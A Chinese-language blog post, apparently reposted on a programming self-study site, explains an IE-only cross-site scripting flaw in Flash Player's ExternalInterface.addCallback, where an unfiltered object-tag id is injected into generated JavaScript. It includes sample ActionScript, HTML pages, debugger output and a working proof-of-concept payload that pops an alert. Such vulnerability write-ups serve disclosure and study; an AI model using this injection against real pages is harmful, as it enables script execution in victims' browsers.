好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

Flash应用安全系列[4]--Flash Player的又一个0day - 网

Flash Player在处理Flash应用与HTML页面进行通信时,未对特殊字符进行过滤,可能导致跨站脚本攻击。

上回我们说flash.external.ExternalInterface.call的漏洞,其本质还是在SWF和HTML通信时对字符处理不当导致的。还记得我们在第一篇中讲得,SWF文件与HTML页面的通信,包括了从SWF到HTML,就是传统意义上的执行JS,还包括从HTML到SWF的通信,这种通信方式就是由函数flash.external.ExternalInterface.addCallback进行的。addCallback函数可以将ActionScript方法注册为可从容器(这里是HTML)调用。成功调用addCallBack()后,容器中的JS可以调用在Flash Player中注册的函数。

 

那么在从HTML到SWF的通信时,究竟又发生了什么呢。我们简单地建立了一个addCallBack.swf文件,其中代码为:

addCallBack.as

 

function f(){

    trace ("debug");

}

flash.external.ExternalInterface.addCallback("fname", this, f);

 

addcallback.html

 

<html>

<body>

<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="1" height="1" id="addcallback" align="middle">

<param name="allowScriptAccess" value="sameDomain" />

<param name="movie" value="addcallback.swf" />

</object>

</body>

</html>

 

开启IE开发者工具进行调试。

 

__flash__removeCallback(document.getElementById("addcallback"), "fname");

__flash__addCallback(document.getElementById("addcallback"), "fname");

 

这里有两个变量,fname是在swf中定义好了的,一般不会再改变,因此我们无法控制,addcallback是html页面里id="addcallback"的值,这个是可控的,如果我们顺着上文的思路,对addcallback处尝试进行注入,会怎么样呢。

我们先尝试"符号。

 

addcallback.html

 

<html>

<body>

<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="1" height="1" id='test"' align="middle">

<param name="allowScriptAccess" value="sameDomain" />

<param name="movie" value="addcallback.swf" />

</object>

</body>

</html>

 

在IE中,js调试结果

 

__flash__removeCallback(document.getElementById("test""), "fname");

__flash__addCallback(document.getElementById("test""), "fname");

 

"没有任何过滤就被注入了。我们闭合函数,弄成一个PoC,并添加一个带有id的HTML Tag,避免出错。

 

addcallback.html

 

<html>

<body>

<div id="test"></div>

<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="1" height="1" id='test","a"));alert(2)//' align="middle">

<param name="allowScriptAccess" value="sameDomain" />

<param name="movie" value="addcallback.swf" />

</object>

</body>

</html>

 

 

该漏洞仅对IE有效,具体的应用场景可以参照这篇: 那些年我们一起学XSS - 21. 存储型XSS进阶 [猜测规则,利用Flash addCallback构造XSS] 

 

修复方案:

 

反正你们不修复   

 

查看更多关于Flash应用安全系列[4]--Flash Player的又一个0day - 网的详细内容...

  阅读:42次